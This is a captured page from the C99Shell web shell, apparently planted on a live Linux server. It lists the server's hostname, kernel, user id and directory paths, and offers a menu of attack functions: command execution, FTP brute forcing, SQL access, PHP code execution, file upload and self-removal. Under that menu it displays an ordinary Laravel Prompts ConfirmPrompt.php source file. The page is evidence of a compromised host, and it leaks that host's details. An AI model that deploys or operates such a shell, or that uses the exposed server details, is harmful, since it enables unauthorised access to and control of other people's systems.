!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_v5_10/vendor/laravel/prompts/src/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ConfirmPrompt.php (1.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Prompts;

use 
Closure;

class 
ConfirmPrompt extends Prompt
{
    
/**
     * Whether the prompt has been confirmed.
     */
    
public bool $confirmed;

    
/**
     * Create a new ConfirmPrompt instance.
     */
    
public function __construct(
        public 
string $label,
        public 
bool $default true,
        public 
string $yes 'Yes',
        public 
string $no 'No',
        public 
bool|string $required false,
        public 
mixed $validate null,
        public 
string $hint '',
        public ?
Closure $transform null,
    ) {
        
$this->confirmed $default;

        
$this->on('key', fn ($key) => match ($key) {
            
'y' => $this->confirmed true,
            
'n' => $this->confirmed false,
            
Key::TABKey::UPKey::UP_ARROWKey::DOWNKey::DOWN_ARROWKey::LEFTKey::LEFT_ARROWKey::RIGHTKey::RIGHT_ARROWKey::CTRL_PKey::CTRL_FKey::CTRL_NKey::CTRL_B'h''j''k''l' => $this->confirmed = ! $this->confirmed,
            
Key::ENTER => $this->submit(),
            default => 
null,
        });
    }

    
/**
     * Get the value of the prompt.
     */
    
public function value(): bool
    
{
        return 
$this->confirmed;
    }

    
/**
     * Get the label of the selected option.
     */
    
public function label(): string
    
{
        return 
$this->confirmed $this->yes $this->no;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--